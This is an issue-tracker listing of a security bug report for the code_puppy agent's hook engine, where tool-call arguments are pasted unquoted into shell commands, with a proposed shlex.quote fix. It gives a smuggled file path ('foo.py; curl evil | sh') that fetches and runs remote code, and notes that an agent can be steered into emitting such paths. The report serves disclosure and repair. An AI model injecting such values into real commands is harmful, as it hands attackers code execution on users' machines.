mpfaffenberger / mpfaffenberger/code_puppy
hook_engine: shell injection via raw variable substitution into create_subprocess_shell
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 814
- Forks
- 278
- Avg merge
- 2d 5h
- Merged PRs (30d)
- 76
Description
File: code_puppy/hook_engine/executor.py - _substitute_variables (~lines 172-196) feeding asyncio.create_subprocess_shell (~line 107)
Severity: Medium-High (security)
Hook commands undergo plain string substitution before being executed by the shell:
substitutions = {
...
"file": _extract_file_path(event_data.tool_args) or "",
"tool_name": event_data.tool_name,
"CLAUDE_TOOL_INPUT": json.dumps(event_data.tool_args),
}
result = result.replace(f"${{{var}}}", str(value))
result = re.sub(rf"\$ {re.escape(var)}(?=\W|$)".replace(" ",""), lambda m: str(value), result)
...
proc = await asyncio.create_subprocess_shell(command, ...)
${file} (and result, CLAUDE_TOOL_INPUT, etc.) come from LLM-controlled tool arguments. A hook configured as e.g. ruff check ${file} will execute arbitrary shell if a tool call supplies a path like foo.py; curl evil | sh. File paths are exactly the kind of value an agent can be steered into producing, and _extract_file_path even falls back to scanning any string arg that "looks like a path" (matcher.py _looks_like_file_path).
The safe channels already exist - the stdin JSON payload and CLAUDE_FILE_PATH/CLAUDE_TOOL_INPUT env vars - so hooks do not need raw inline substitution of untrusted values.
Suggested fix: quote substituted values derived from tool_args/context with shlex.quote():
import shlex
safe = shlex.quote(str(value))
result = result.replace(f"${{{var}}}", safe)
and document the stdin JSON payload as the preferred way to consume tool input.
Filed by Zen Reviewer B (code-puppy-60635a)
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in code_puppy/hook_engine/executor.py at _substitute_variables and its call to asyncio.create_subprocess_shell; inspect code_puppy/hook_engine/matcher.py for _looks_like_file_path. Ensure values derived from tool arguments and context cannot inject shell syntax, and document stdin JSON or the existing environment variables as the preferred input channel.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python, shell
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100